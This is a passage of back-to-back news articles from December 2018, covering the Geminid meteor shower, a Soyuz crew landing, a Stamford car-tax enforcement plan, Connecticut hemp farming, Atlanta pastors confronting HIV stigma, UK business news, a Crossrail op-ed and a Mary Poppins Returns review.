skywatchers could see up to 100 meteors per hour, weather permitting. Astrophotographers stayed up until the brink of dawn to capture the "shooting stars" and bright fireballs, or tiny pieces of space rock that burn up in the atmosphere as they fall toward Earth. These are fragments of the asteroid 3200 Phaethon. Every year in December, planet Earth passes through the asteroid's trail of dust and debris, and Geminid meteors rain down on Earth for a couple of weeks. To put the icing on the cake, this year skywatchers had the chance to see a bright-green meteor in the night sky. Comet 46P/Wirtanen has been visible to the naked eye all month long, and it was at its brightest when it swung by Earth on Sunday (Dec. 15). In the photo above, taken by Shreenivasan Manievannan at a lighthouse in California, the cosmic "photobomber" is one of the brightest objects in the sky. [Awesome Photos! The Geminid Meteor Shower of 2018 in Pictures] "I have always been obsessed with the Perseids, which are a much better visual experience with persistent trails and slow-moving, bright-green meteors," Manievannan told Space.com. "But the Geminids didn't disappoint, especially considering I was out a day before the actual peak night and considering the cloudy weather forecast across California. As a bonus, I got to see the green fuzzy dot on the right, which is the current brightest comet in the sky, 46P." A Geminid meteor and Comet 46P/Wirtanen star in this view of the night sky. Photographer Jose Zarcos Palma captured this photo from the Sao Domingos Mine in Alentejo, Portugal, on Dec. 13, 2018. (Image credit: Jose Zarcos Palma In Portugal, astrophotographer Jose Zarcos Palma captured a Geminid meteor along with Comet 46/Wirtanen, both gleaming behind the silhouette of a holm oak tree branch. But that's not all! Palma's photo also shows the Pleiades star cluster (above the tree branch), and the bright-orange star Aldebaran forms a nearly equilateral triangle with the Pleiades and the comet. Geminid meteors rain down on Lake Corpus Christi State Park in Mathis, Texas, in this stacked image captured by astrophotographer Sergio Garcia Rill on Dec. 14, 2018. (Image credit: Sergio Garcia Rill Dozens of Geminid meteors can be seen in a composite image by astrophotographer Sergio Garcia Rill (above). Rill photographed the meteor shower from Lake Corpus Christi State Park in Mathis, Texas. He programmed his camera to take a photo every 10 seconds for 3 hours and combined all the meteors he captured into one frame, creating an image that looks like the meteor shower is literally showering meteors all across the sky. A Geminid fireball blazes through the sky above a campfire at Assateague Island National Seashore in Maryland during the Geminid meteor shower. Astrophotographer Jeff Berkes snapped this photo on Dec. 14, 2018, at 2:30 a.m. local time. Instagram/Facebook) (Image credit: Jeff Berkes While shooting some "shooting stars" from Assateague Island National Seashore in Maryland, astrophotographer Jeff Berkes captured a brilliant fireball above his campsite at about 2:30 a.m. local time. "I had just sat my camera to hopefully capture a reflection of a meteor in the ocean and planned on leaving my camera there shooting for at least 2 hours," Berkes told Space.com. "I put the camera down and hit the shutter, 4 second later this bright fireball came streaking down leaving a reflection in the water. It was certainly the brightest Geminid I saw over my three-night stay." Astrophotographer Jeff Berkes captured this photo of a Geminid meteor over Assateague Island National Seashore in Maryland on Dec. 14, 2018, at 5 a.m. local time. Instagram/Facebook) (Image credit: Jeff Berkes A couple hours later, Berkes captured another fireball. Although the green spot at the tip of the meteor's tail looks a lot like the bright-green glow of Comet 46P/Wirtanen, it's actually coming from the meteor. "This meteor exploded five times on the way in and the final 'POP' was a bright green as seen on the end on the trail," Berkes told Space.com. Although the Geminid meteor shower is over, you can still see Comet 46P/Wirtanen in the night sky for the rest of the year. And you don't have to wait long for the next meteor shower. The Ursid meteor shower though not nearly as spectacular as the Geminids is expected to peak on Dec. 21-22. Producing less than 10 meteors per hour, the Ursids probably aren't a good reason to stay up all night, especially because the full moon will likely outshine the fainter meteors. Email Hanneke Weitering at hweitering@space.com or follow her @hannekescience. Follow us on Twitter @Spacedotcom and on Facebook. Original article on Space.com. Three space station crewmembers returned to Earth today (Dec. 20) after a remarkably eventful stay aboard the orbiting laboratory. NASA astronaut Serena Aunon-Chancellor, German astronaut Alexander Gerst of the European Space Agency and Russian cosmonaut Sergey Prokopyev safely touched down on the snowy steppe of Kazakhstan at 12:02 a.m. EST (0502 GMT), one minute ahead of schedule. The trio spent a total of 197 days in space working as part of Expeditions 56 and 57. "The Soyuz MS-09 stuck the landing on the eve of the 50th anniversary of humankinds first voyage to the moon," NASA TV commentator Rob Navias said during a live webcast of the landing, referring to the Apollo 8 mission that launched on Dec. 21, 1968. [Expedition 57: The Space Station Mission in Photos] From left to right: European Space Agency astronaut Alex Gerst, Russian cosmonaut Sergey Prokopyev and NASA astronaut Serena Aunon-Chancellor get checked out by medics after their Soyuz MS-09 spacecraft landed on Dec. 20, 2018. (Image credit: NASA/Bill Ingalls) The astronauts returned to Earth in the same Soyuz crew capsule that brought them to the International Space Station (ISS) in June and the same spacecraft that sprang a mysterious air leak almost halfway into the crew's mission. After finding and sealing the air leak, the crew may have dealt with enough unexpected drama for one mission. But just six weeks later, a harrowing aborted launch of two of their intended Expedition 57 crewmates threw them for a loop. Both the leak and the aborted launch served as a reminder that the now-seemingly routine job of an astronaut is still inherently risky and that it's good to be prepared for anything that can happen while in space. Thankfully, the leaking Soyuz posed no threat to the passengers on their way home. The hole was located in the spacecraft's orbital module, which separates from the crew capsule and burns up in Earth's atmosphere before landing. A Russian Soyuz MS-09 spacecraft is seen shortly after undocking from the International Space Station to return three members of the Expedition 57 crew to Earth on Dec. 19, 2018. (Image credit: NASA TV) Since the leak was discovered, on Aug. 29, NASA and Roscosmos the Russian space agency that builds and launches Soyuz spacecraft have yet to figure out exactly how the tiny, 2-millimeter (0.08 inches) hole got there. Because the hole looked like it could have been drilled, Roscosmos suggested that human error or even sabotage could be to blame. While the Roscosmos chief implied that the incident may have occurred during the spacecraft's assembly, there was widespread speculation that one of the crewmembers could have drilled the hole while in space. But NASA astronaut Drew Feustel, the ISS commander at the time, was quick to shoot down that idea and defend the integrity of his crewmembers. The Soyuz MS-09 crew capsule sits upright on the snow-covered steppe of Kazakhstan after returning from the International Space Station with three Expedition 57 crewmembers on Dec. 20, 2018. (Image credit: Bill Ingalls/NASA) With the Soyuz leak investigation still underway, the ISS crew was gearing up for the arrival of two new roommates NASA astronaut Nick Hague and Russian cosmonaut Alexey Ovchinin when their next big nightmare happened. A couple minutes after the duo lifted off in their Soyuz MS-10 spacecraft, the Soyuz rocket failed and triggered the emergency abort system. The launch failure sent the crew capsule falling ballistically toward Earth. Hague and Ovchinin survived the emergency landing. Unfortunately, the incident left the ISS short two crewmembers, which meant that there would be fewer hands on deck to work on the hundreds of science experiments going on at the orbiting lab. The crew was short-handed for about seven weeks, until the next crewed Soyuz mission arrived, with NASA astronaut Anne McClain, Russian cosmonaut Oleg Kononenko and Canadian Space Agency astronaut David Saint-Jacques. While the crew of the Soyuz MS-09 had to endure some stressful experiences in orbit, their mission also had its highlights. Gerst turned out to be an avid photographer during his time in space, capturing some spectacular photos and videos while in orbit. His space-photography portfolio now includes some amazing auroras, multiple hurricanes and even rockets launching into space. Prokopyev successfully completed two spacewalks with his Russian crewmembers. During his first spacewalk, in August, he and Oleg Artemyev tossed small satellites into orbit and installed some science equipment outside the station. Then, on Dec. 3, Prokopyev went back outside the station, this time with Kononenko, to inspect the patched-up Soyuz hole a process that involved dramatically stabbing the spacecraft with a large space knife. During Expedition 56/57, the International Space Station received a total of six cargo shipments packed not only with science experiments, but also with plenty of goodies like ice cream and the "world's strongest coffee." The most recent delivery, a SpaceX Dragon capsule, brought along some Christmas goodies, too. Another SpaceX Dragon, which arrived at the ISS shortly after the MS-09, brought along a special artificial-intelligence robot called CIMON, which is short for "Crew Interactive Mobile Companion." Gerst had the privilege of being the first person to talk to CIMON in space. As per protocol, the astronauts on these missions got to take most holidays off from work to relax, phone their families and participate in traditional holiday activities, like eating turkey on Thanksgiving, putting an elf on the shelf before Christmas and even dressing up like Darth Vader for Halloween. Now that the crew is back on the ground, they'll spend the holidays like Earthlings again. Email Hanneke Weitering at hweitering@space.com or follow her @hannekescience. Follow us on Twitter @Spacedotcom and on Facebook. Original article on Space.com. Aaiun occupied, Dec 19, 2018 (SPS) - The political activist and journalist, Salah Eddine Lebsir, was transferred, on Tuesday, from the Tata prison to the Bouzakarn prison. Salah Lebsir was arrested on June 6, 2015 after participating in peaceful demonstrations in the city of Smara, demanding the right to self-determination of the Saharawi people, he was sentenced to four years ending his sentence in June 2019. During the period of imprisonment, he carried out several hunger strikes, demanding more humane treatment and respect for his basic rights. The journalist was transferred from Tata prison, which is 719 km from El Aaiun (capital of Western Sahara), to Bouzakarn, 479 km away. SPS 125/090/TRA Paris (Algiers) Dec 19, 2018 (SPS) - A Saharawi Youth Union activist has stressed, in Paris, the seriousness of the situation of Saharawi students in Moroccan universities, in violations of the international rules and charters. Hamdi Omar, who is in charge of foreign relations at the Saharawi Youth Union, made the statement in a series of meetings on the sidelines of the International Festival of Solidarity. In a meeting with the head of the French University Centre for Western Sahara, Sebastien Boulay, Omar denounced Morocco's racist policy against Saharawi students in Moroccan universities. Omar underlined the various difficulties underwent by Saharawi students, including arrest and imprisonment campaigns and physical abuses against them because of their activities within the university. The Saharawi official said the Saharawi students have been punished for speaking of Western Sahara people's struggle for independence and liberty. He, besides, informed his host of the latest developments of the Saharawi cause at the regional and international levels. SPS 125/090/TRA FedEx Corp. Chief Executive Officer Fred Smith is putting the blame squarely on politicians, including President Donald Trump, for a gloomy forecast that sparked the biggest share rout in three years. U.S. trade tariffs, China's "mercantilism" and the U.K.'s negotiations to leave the European Union are all weighing on trade and economic growth, Smith said in a conference call late Tuesday. That prompted FedEx to slash its profit forecast for fiscal 2019, implement an employee buyout and cut international delivery capacity. "Most of the issues that we're dealing with today are induced by bad political choices," said Smith, a longtime Republican supporter who on earnings calls rarely misses an opportunity to champion free trade. Trump, who called himself "a Tariff Man" in a tweet, applied a 10 percent duty on $200 billion of Chinese goods in September and has threatened to raise the levy to 25 percent in January. During a summit in Argentina earlier this month, he and Chinese President Xi Jinping agreed to a 90-day truce to provide time to work out a deal. Trump has also slapped tariffs on goods such as steel and aluminum from other countries. Smith's 2016 political contributions went to such moderate Republicans as Ohio Gov. John Kasich and former Florida governor Jeb Bush. Smith also gave to Mitt Romney in 2012. While most of his donations have gone to Republicans, he has also crossed the aisle for moderate Democrats, donating to Montana Sen. Jon Tester's successful re-election campaign and a losing effort by North Dakota's Heidi Heitkamp to retain her Senate seat. Trade growth would pick up if only the politicians would get out of the way, Smith said. The internet and smartphones have created "this tremendous bottom-up business ecosphere" where small companies anywhere in the world can sell goods and have them shipped to consumers within two days. "The good news is, with a change in policy, they could turn it around pretty quick, too," Smith said. "So, fundamentally, we think trade will continue to grow." FedEx plunged 9.5 percent to $167.40 at 2:06 p.m. in New York after sliding as much as 10 percent for the biggest intraday drop since August 2015. The company cut its profit forecast Tuesday, citing sluggish trade flows and weak economies outside the U.S. A Massachusetts man has been sentenced to five years in jail after pleading guilty to paying a Connecticut minor to engage in sexual activity over Skype. John H. Durham, U.S. Attorney for Connecticut, said that William Gauvin, 43, of Andover, Massachusetts, was sentenced Thursday by U.S. District Judge Michael P. Shea in Hartford to 60 months of imprisonment, followed by 10 years of supervised release. He waived his right to be indicted and pleaded guilty in September, officials said. Every Thursday and Sunday through the end of the year, the Stamford Advocate and Greenwich Time are publishing short stories about local families and people in need of a helping hand. Each case will include an estimated dollar amount that would help them face everyday challenges like rent payments, child care costs and transportation. Every dollar donated to the Giving Fund goes directly to the people in need like Anna, who is supporting her two grandchildren on just a part-time job. (The names of those included have been changed to protect their privacy.) To support one of these or another community member this year, chose the corresponding case number at The Giving Fund donation page. The Stamford Advocate and Greenwich Time sponsors The Giving Fund in partnership with Family Centers and Person-to-Person. Here are some of their stories: Case #375 Eduardo is a devoted 53-year-old husband who takes care of his wife and 18-year-old son. Eduardo injured his back in May and has been unable to return to work. He used money from his savings to support his family during this time, and now he is struggling to pay his rent and keep up with his medical bills. Recently Eduardos wife, Carmen, lost her mom and couldnt travel to her native country Ecuador to pay her last respects due to a lack of income. A $500 gift would help this family get back on their feet. To contribute, click here and select case #375. Case #376 Joanne has battled chronic health issues since birth. She has struggled with the symptoms and has made drastic lifestyle changes in an attempt to alleviate some of the pain associated with her condition. Despite her best efforts, Joanne is bedridden at least a few days per month due to extreme pain. Her employer has cut her work hours and placed her on a per diem status. A $500 gift would help Joanne stay afloat as she seeks more stable employment. To contribute, click here and select case #376. Case #377 Anna lives in a small public housing unit with her two grandchildren. Recently, Ana lost her full-time job, and she tried to support her family with part-time employment and by working odd-jobs around town. Because of a lack of income, she has fallen behind on rent and is facing eviction. A gift of $500 would help Ana keep a roof over her grandchildrens heads. To contribute, click here and select case #377. Case #378 Asher lives with her mother and sister. She is unable to sleep at night because she has outgrown her bed. This lack of sleep affects her ability to function at school. Due to a recent hospitalization, Ashers mother is unable to afford a new bed for her. A gift of $400 would enable Asher to get a new bed. To contribute, click here and select case #378. Case #379 Portia is a single mother who lives with two children, and despite working two part-time jobs, is struggling financially to meet her monthly expenses. She recently paid part of a college bill for her oldest child, who also received scholarships. This expense has caused an issue with the family budget, but it is necessary for her childs future. A gift of $500 would help her pay her bills and have a peaceful season. To contribute, click here and select case #379. STAMFORD Its about fairness. And maybe spying. But officials are poised to sign an agreement with a company that will use cameras, GPS tracking, license-plate readers, Connecticut and New York motor vehicle records, city databases and other information to identify residents who dont pay their car taxes. Beyond that, residents may be able to report vehicles that have out-of-state plates but live in Stamford. Its not clear how many evaders are out there, but officials estimate that, if theyre found, the city will add $1 million a year in tax revenue, and perhaps a lot more. Taxpayers are enthusiastic for the program, said city Rep. Robert Roqueta, a Democrat representing the East Sides District 4. In January, Roqueta proposed that the city hire a car-tax collection company. Since then, Ive gotten an average of about three calls a month, he said. People in my district are asking, What happened to your idea? To raise revenue, the Board of Representatives is considering proposals from Mayor David Martin to increase fees for parking, building permits, dumping and other services, yet we allow people to cheat and dont try to find a way to get the money back, Roqueta said. There will always be people who say, Heres Stamford again, going after the little guy. I disagree, he said. Its about being responsible. The Board of Finance has unanimously approved a contract with a Shelton company, Municipal Tax Services. The Board of Representatives Fiscal Committee passed it 8-0 with one abstention. The full board is set to vote on it Jan. 7. See something, say something Taxpayer Lawrence Winchell said the effort should include a way for residents to report suspected evaders. Call it a neighborhood watch, or see something, say something, he said. Im sure there are a lot of people who are irritated that people get away with this, and there would be a lot more eyes out there than if its just a company going around with a license-plate reader, Winchell said. If people know their neighbors are on the lookout, that may be enough to get them to pay their tax. Hes concerned, though, that the company can gather information only on vehicles in the public eye. They arent going to check cars that are parked in garages at houses, so theyre going to miss half the population, Winchell said. This program will mostly go after people who dont own garages. City Rep. J.R. McMullen, R-18, asked about that during the Dec. 17 Fiscal Committee meeting. Wont it adversely affect neighborhoods where cars are parked on the street? McMullen asked Tax Assessor Gregory Stackpole, who is presenting the contract to the boards. More tax evaders will be identified in neighborhoods where cars are visible, Stackpole said. But the citys online tax assessment database already makes a lot of information public. We have 38,000 parcels of real estate and each has a photo on our website, often with a car parked in the driveway, Stackpole said. So the images are out there. Resident reports Allowing resident reporting will boost chances that garaged cars are identified, Roqueta said. The company offers a form on its website, he said. A check of www.municipaltaxservices.com shows a report violator button that leads to a form that may be filled out anonymously. It asks for the name and address of the owner, and the plate number, year, make, model and color of the vehicle. It also asks for an estimate of how long the vehicle has been at the address. City Rep. Eric Morson, D-13, an early backer of Roquetas proposal, said hes still weighing the notion of residents reporting on each other. I think we would have to work out policies and procedures for taking information from the public, Morson said. We dont want to be known as the city that spies on you. Its a privacy issue. But city Rep. Jonathan Jacobson, D-12, said he doesnt see that. Its a domicile issue. Is the car domiciled in Stamford or somewhere else? Jacobson said during the meeting. License plates and other publicly displayed information on vehicles is already used by law enforcement. Not a rat Officials said they may consider a reporting hotline on the citys website. Anyone who used it would not be ratting on their neighbor, Roqueta said. If your neighbor doesnt know they have to register their car, you may prevent them from getting caught and fined, he said. If your neighbor is deliberately cheating the city, then thats not a good neighbor. Some people who move from New York, New Jersey, Florida or Vermont do not change their registration because cars are not taxed in those states. Others register them in towns that charge less tax than Stamford. Many may not know that if they move to Stamford from out of state, they have 60 days to register their car here. If they move within Connecticut, they have 48 hours to notify the DMV. A lot of people are coming to live in Stamford in all the apartments going up, Roqueta said. Maybe they think they wont live here long, so they dont register their car. Im happy people are coming, but I believe in things being fair. Taxes for all Stackpole said he thinks 3,000 to 4,000 vehicles could be added to the tax rolls. If the contract gets final approval, Municipal Tax Services would begin work in January. It would take six months for the company to gather the information so he can decide which vehicles belong on the tax rolls, Stackpole said. Suspected violators will have a chance to appeal. The contract does not come with a cost. The company keeps half the revenue collected on new tax accounts that result from its investigation, plus a $50 fee from each violator. Morson said exceptions likely will be made for people who drive a company car and have no say in where its registered. People who live in Florida for half the year likely would have the tax pro-rated, he said. This is not about pissing people off. Its about squaring things up, Morson said. Everybody is concerned about taxes, and if you are evading yours, you should expect us to do something about it. acarella@stamfordadvocate.com; 203-964-2296. STAMFORD Archie Elam has witnessed gun violence up close, and his message to those who attended an anti-gun violence vigil on Wednesday in Stamford was that theres no glory in firearms. There is nothing glorious about a gun. Nothing, said Elam, a West Point graduate and Gulf War veteran. We need to challenge the notion that holding a gun brings you power it brings you dates with the fairer sex, it brings you recognition. It does none of those things. Elam was one of a handful of speakers at the Bethel AME Church on the West Side during the Vigil of Hope, organized by the ENOUGH Campaign, a Stamford gun violence prevention civic action group. Shira Tarantino, co-founder of the group, said the vigil had previously been held in downtown, but she decided to move it to Stamfords West Side because both gun-related deaths in the city this year occurred in the neighborhood. Antonio Robinson, 18, a former co-captain of the Stamford High School football team, was killed over the summer. Marcus Hall, 16, a Westhill High School student, spent two nights in the hospital in critical condition from a gunshot wound before he died Sept. 24 after the family took him off life support. Tarantino said 2018 has been a really hard year for Stamford. The ENOUGH campaign is really concerned about the two gun deaths that happened, both young boys, both from the West Side, she said. The West Side of Stamford has the highest rates of gun incidents in the city. The ENOUGH Campaign holds the annual vigil in commemoration of the sixth anniversary of the Sandy Hook Elementary School tragedy, and to remember those shot and killed this year in Stamford. On Wednesday, community leaders spoke of honoring those who have died of gun violence, but also of creating legislation to curb the gun epidemic. Jeremy Ian Stein, executive director of CT Against Gun Violence, said his organization is working to help pass sensible gun laws, such as a safe storage protection law that would require both loaded and unloaded firearms be properly stored if a minor is likely to gain access to them. Currently, only loaded guns must be stored properly. The bill would also raise the age of minors from under 16 to 18. We need to do something about the plague that is gun violence, Stein said. The Stamford Vigil of Hope to End Gun Violence is one of nearly 350 local vigils and events in 41 states around the nation organized by the Newtown Action Alliance. A committee of Connecticut farmers and agriculture experts is asking Governor-elect Ned Lamont to help members start growing hemp now that a new federal Farm Bill legalizes cultivation. Diversification is going to save Connecticut agriculture, said Kevin Sullivan, a Suffield farmer and past president of the Connecticut Nursery and Landscape Association. This could be a key ingredient. President Donald Trump signed the 2018 Farm Bill on Thursday afternoon, which among numerous provisions legalizes hemp production. Hemp could open new markets to Connecticuts $532 million farm industry the fourth smallest in the nation but the state must craft a regulation and enforcement plan and submit it to the U.S. Department of Agriculture before farmers can start growing the plant. Hemp is a form of cannabis with lower THC levels than marijuana. The Connecticut legislature would need to authorize the state to create its hemp plan, said Jason Bowsza, chief of staff to the commissioner of the state Department of Agriculture. The Department is developing a bill for the General Assembly to vote on in 2019. Its an exciting opportunity for production ag(riculture) in Connecticut, said Bowza. Weve been working on this now aggressively for the last six months... there is a tremendous demand from people who are in production agriculture. Supporting hemp cultivation in Connecticut was a top request of a 15-member agriculture group that presented its recommendations to the Lamont transition team on Wednesday afternoon. Passing regulations and funding infrastructure, like gas lines, to support large-scale greenhouses to extend the growing season are needed, their oral and written reports said. This is a huge opportunity, Lieutenant Governor-elect Susan Bysiewicz told the committee. Hemp can be used to make clothes, food, pharmaceuticals and building products. Cannabinoids derived from hemp, grown under Farm Bill regulations, are also legal, allowing farmers to produce the compounds which can be used for pain management, anxiety and other uses. Some cannabis market researchers predict the young industry could reach $20 billion in four years. Some farmers, especially young ones, are interested in growing hemp and medical marijuana. Bonnie Burr, assistant director at the Extension System at the UConn College of Agriculture, said 400 students signed up for UConns first cultivation of marijuana class this fall. Its one of those things that as we look at how we can repurpose greenhouses all the amazing things we can do under glass because it expands our growing season marijuana and industrial hemp are right in the mix, said Burr. emunson@hearstmediact.com P astors are working to overcome the stigma of HIV in an effort to turn the tide on the epidemic of the virus in Atlanta. Duncan Teague, a member of the Unitarian Universalist Association, and other pastors are crucial to efforts in the US South to counter homophobia and bigotry in some churches. Many believe the continuing discrimination has been a factor in forcing gay people to lead secret lives making the spread of HIV move likely. But Mr Teague tells those who come to his church, Abundant Love, that God loves them all whether they are gay, straight, bisexual or asexual. He says his mission is Celebrating and respecting the dignity of everyone, including gay, lesbian, transgender folks who live in the area and want to come to church and be respected. This is a place for everyone. Today in the US, a gay black man has a 50 per cent chance of being diagnosed with HIV at some point during his lifetime. In Atlanta, the figure is even more staggering closer to 60 per cent. Many factors lie behind this, with racism, poverty and lack of education among them. But homophobia within elements of black society and the black church also hinder progress. Pastor Duncan Teague / Andrew Buncombe I have to put some blame with the black church, but not just the black church, Mr Teague says. Every powerful entity within the black community needs to own this. The Elton John AIDS Foundation supports many institutions and grassroots efforts in Atlanta and beyond, to help those working in the field, whether it is providing HIV testing and counselling, or helping provide medicine for people. It also seeks to educate people and confront stigma, something it knows can best be done by community leaders and influencers. Preacher Ken Lazarus / Andrew Buncombe This year, the Evening Standard is raising money for the Foundation in our annual Christmas appeal. Recently, Sir Elton and this newspapers proprietor Evgeny Lebedev visited Atlanta to meet doctors, patients and educators. At a gig in the city where he also has a home, Sir Elton said: Weve come a long way. But theres still an epidemic in the South and in Atlanta. It used to be a disease of the affluent. Now it is a disease of the poor, especially poor African Americans. Bishop Oliver OC Allen is another of those trying to preach love, not hate. An educator and advocate for people with HIV and the LGBT+ community, he was asked by Barack Obama to serve on the presidential advisory council on HIV/Aids. He is currently an adviser to the National Association for the Advancement of Coloured Peoples black church/HIV initiative. Calling: Sir Elton John with rapper Vic Mensa at the Ponce De Leon Center for HIV/Aids / Jeremy Selwyn The founder of Atlantas Vision Church, he does not speak to other church leaders about Aids or HIV from a theological standpoint. The last thing is to debate theology, he says. You have to have them frame this as a social justice issue, not just a public health issue, because there are so many layers. Ken Lazarus, the self-styled Cussing Preacher, does not operate from a fixed church. Rather, he prefers to approach some of the most in need the citys homeless and poor by engaging with them on the streets. He says he takes food and medicines into the citys parks where he ministers to them. Mr Lazarus, 55, is bisexual and has been living with HIV for 32 years. He says it is easy for people to feel disconnected so he speaks to them like a regular person. There is a place for organised religion, but were talking about going after the lost, Mr Lazarus says. We need a strategy to reach those people ... Youve got to go where they are. In places like Los Angeles or Atlanta, many are in the parks or on the street. He says his organisation works in many different areas, providing housing, mental health provision and assistance with benefits. Many of these factors frequently overlapped, he says He also works to provide teaching materials on HIV and Aids to other preachers, to help them minister to those at risk of the virus or who live with it. We try to teach how to do pastoral counselling to those who are impacted, he says. Until HIV and Aids is dealt with on a daily basis, its just going to be pushed to the back. TODO: define component type apester T he Financial Conduct Authority has asked disgruntled former customers of defunct Dunbar Bank to detail the lenders alleged misdemeanours to decide whether it has the power to open an investigation. Andrew Bailey, the watchdogs chief, has written to the Dunbar Action Group asking for more about details of allegations made to the regulator as the group is unsure whether there are grounds to examine the case. A request for further information does not constitute a formal enforcement investigation but campaigners say it marks a change in tone from the regulator. The FCA has previously indicated it is powerless to act in the case because it has no oversight of commercial lending as Dunbar was delicensed as a bank in 2011. Chairman Ben Warren said the move was encouraging because it showed the regulator had a willingness to look at the case. The action group claims more than 100 former business customers, mostly property developers, were bankrupted after the bank allegedly went back on its word over personal guarantees they had signed before the global financial crisis. The group wants the regulator to open a probe into Dunbars former owner Zurich. It plans to submit a dossier to the FCA in the new year. Zurich said it would strongly reject any suggestion that Dunbar had treated its customers inappropriately and said the allegations by the group had been thoroughly and vigorously investigated by the High Court. Following extensive legal scrutiny and disclosure, none of the cases brought against Dunbar have been upheld, and no evidence has been found of any wrongdoing, it said. S hares in metals firm EN+ soared on Thursday as investors cheered the lifting of sanctions against the firm within 30 days. The firm floated in November last year but soon bombed as it was caught up in the USs aggressive measures against tycoon Oleg Deripaska (pictured) its biggest shareholder and a host of other targets in April. Most of the directors resigned and chairman Lord Barker the former energy minister has been working on plans to overhaul corporate governance and get sanctions lifted. Under the deal to protect minority investors, Deripaskas stake in EN+ falls from almost 70% to 45%, with a further 10% held in a trust cutting his voting rights to 35%. Independent directors will fill two-thirds of the board seats at EN+ next year. Shares in EN+ in Moscow leapt 26% on the news, although the firm has still more than halved in value since the float. Aluminium giant Rusal, in which EN+ owns a 48% stake, also saw shares soar 20% and pushed the price of the metal to a 16-month low. F rozen ready meals retailer Cook on Thursday cheered higher sales and said it has signed off on plans for a new production site that will help revenues pass the 100 million mark. The Kent-headquartered firm, which has 89 UK shops including scores in London, said it will invest 10 million to open a second kitchen to develop products in Sittingbourne in 2019. It said that will help it grow significantly. The expansion comes after a good period for the business in the year to March 31. Sales rose 15% to 58.3 million and pretax profits edged up slightly to 2.5 million. During the period bestselling products included lasagne and fish pie. Vegetarian dishes were also popular. Cook is less exposed to Brexit than some other food firms because most of its sales and its supply chain are in the UK. L ondon is growing. This great global city will soon be home to 10 million people. Its a stark change from the late Seventies of my youth, when London was synonymous with decline. But a growing population places burdens on a city. Without transport up-grades we simply wont be able to move these new Londoners around. Thats why we need Crossrail so badly. It will open up new regions of the capital to development: it is expected to bring 94,000 homes and 362,000 jobs underpinned by millions of square feet of retail space. I certainly would have thought twice about buying a house in Romford without the prospect of Crossrail. When Sadiq Khan inherited the project it was on time and budget. Thats certainly not the case now. Last week Londoners found out that well have to wait at least a year more. The delay was paired with word of a third bailout from central government. Weve all been badly let down. Not that Khan deserves all the blame we understand Crossrail is a complicated project but we do expect our leaders to be straight with us when it comes to communicating delays and their cost implications. And Sadiq Khan has not been straight with Londoners. He told the press he was informed of the Crossrail delay on August 29, two days before the public. This was the same story given to members of the London Assembly in early September. Documents from Transport for London, however, appear to contradict this. On July 26, Khan was briefed that Crossrail was high risk, with a December 2018 opening deemed not feasible. In management speak, thats the equivalent of a flashing red light. Nor was July 26 the first time the Mayors key staff were told of inevitable delays, as recently outlined in an article by transport blog London Reconnections. Indeed, Crossrail had been blinking red for months. Thats why Khan has been summoned back to the London Assemblys transport committee tomorrow to explain himself. Either he didnt know what was going on under his watch or he didnt tell Londoners the true state of affairs. It is either incompetence or untruthfulness. Tomorrow is about holding the Mayor to account. He should apologise to Londoners for not being straight, and level with them about the state of Crossrail: when it will open, how much more it will cost, and how he will ensure the new schedule of delivery? He should streamline its project management and reporting and bolster it with external expertise; mega-projects like this appear to require skill sets beyond those currently at TfL. He should commit to public quarterly reporting and total transparency; this strict standard will ensure he does not again take his eye off this capacity-building prize. Because if Crossrail goes off the rails, Londoners wont get a crack at Crossrail 2 another vital project needed to keep our growing population moving. P aintings by suffragette leader Sylvia Pankhurst will go on show at the Tate Britain in 2020. The Tate revealed it had acquired the watercolours by the renowned womens rights campaigner, coinciding with the centenary of womens suffrage in 2018. The four paintings, which are currently located in Scarborough, will be moved in 2019 and transferred to the London gallery for display the following year. Sylvia Pankhursts works from 1907 show women of the period working in mills and potteries, and were created following the artists tour of working environments. Two of them depict workers in Glasgows cotton mills as they supervise the machinery used to spin yarn. The paintings have remained with the artists family since being produced 111 years ago and have rarely been exhibited to the public. However, this year, the pictures were shown at Manchester Art Gallery in the spring and are currently on display at Scarborough Art Gallery until January 6 2019. Following that, they will join the Tates collection. Helen Pankhurst, the granddaughter of Sylvia, said: The family are delighted that some of Sylvias paintings are being acquired by Tate. "Sylvia was an artist as well as a champion of working womens rights, her first passion not as well known as her second. In these beautiful pieces these interests are powerfully combined. Sylvia Pankhurst was also the subject of a musical written by Kate Prince and Priya Parmar, which faced a troubled run at the Old Vic earlier this year. For more information visit tate.org.uk Review at a glance S trictly speaking, what none of us needs right now is extra evidence that we live in surreal times. However, if you know someone who has just woken up from a three-year coma, and you wish to communicate the flavour of the craziness quickly, without reference to Brexit, tell them this. Offered parts in the two blockbusters du jour, Julie Andrews took the one in Aquaman (voicing a sea monster) and turned down Mary Poppins Returns. God knows what explains the former choice, but the latter had nothing to do with chagrin over being replaced 54 years after she soared to megastardom on her umbrella. According to director Rob Marshall, Andrews told him, This is Emilys show. I dont want it to be, Oh, here comes that Mary Poppins. I really want her to take this and run with it, because she will be brilliant. She was wrong and she was right. Emily Blunt is so brilliant that no Andrews cameo could have undermined her. From the introductory shot, gliding through the clouds on that parrot-handled brolly, Blunt takes staggeringly self-assured charge. Her Poppins is subtly yet strikingly different from Andrewss. Her accent and manner are more strident. Every exhortation pish-posh, jiggety-jog, spit-spot suggests one of those terrifying PG Wodehouse aunts who could open an oyster from 12 paces with a glance. She also hints at a livelier life away from the nursery. Mary Poppins Returns: In pictures 1 /9 Mary Poppins Returns: In pictures Mary Poppins Returns Jay Maidment Mary Poppins Returns Mary Poppins Returns Mary Poppins Returns Mary Poppins Returns Mary Poppins Returns Mary Poppins Returns Mary Poppins Returns Mary Poppins Returns This Poppins, you suspect, has an appetite for more than spoonfuls of sugar. Her every pair of gorgeous shoes stands proxy for the wearer. They are rigorously sensible and surprisingly sexy. At core, however, its plus ca change... Poppins is the same irresistible amalgam of the brisk and brusque, the kindly and mischievous, the vain and magical (after gazing admiringly into the mirror, her reflection lingers when she moves away), and the intriguingly enigmatic. Where she comes from, and where she goes when the job is done, remains a mystery. She reminds us that wherever she happens to be is her home. Her home for this films duration (130 minutes that feel gratifyingly like 90) hasnt changed either. Some 25 years after her first engagement in Edwardian London, she is back at 17 Cherry Tree Lane. The date is unstated, but judging by the dire economic situation known as the Great Slump, it is the early 1930s when she returns to nanny the children of Michael Banks (Ben Whishaw) who, along with his sister Jane (Emily Mortimer), she nannied all those years ago. So far, so Jacob Rees-Mogg. But heartbroken widower Michael, who has three small children (twins Annabel and John, and little Georgie) rather than six, is not rich. Penniless, he is about to lose the house to the Fidelity Fiduciary Bank, which employed his father George (so wonderfully played by David Tomlinson in the original), and where this failed artist now works as a teller. Unless Michael can find the 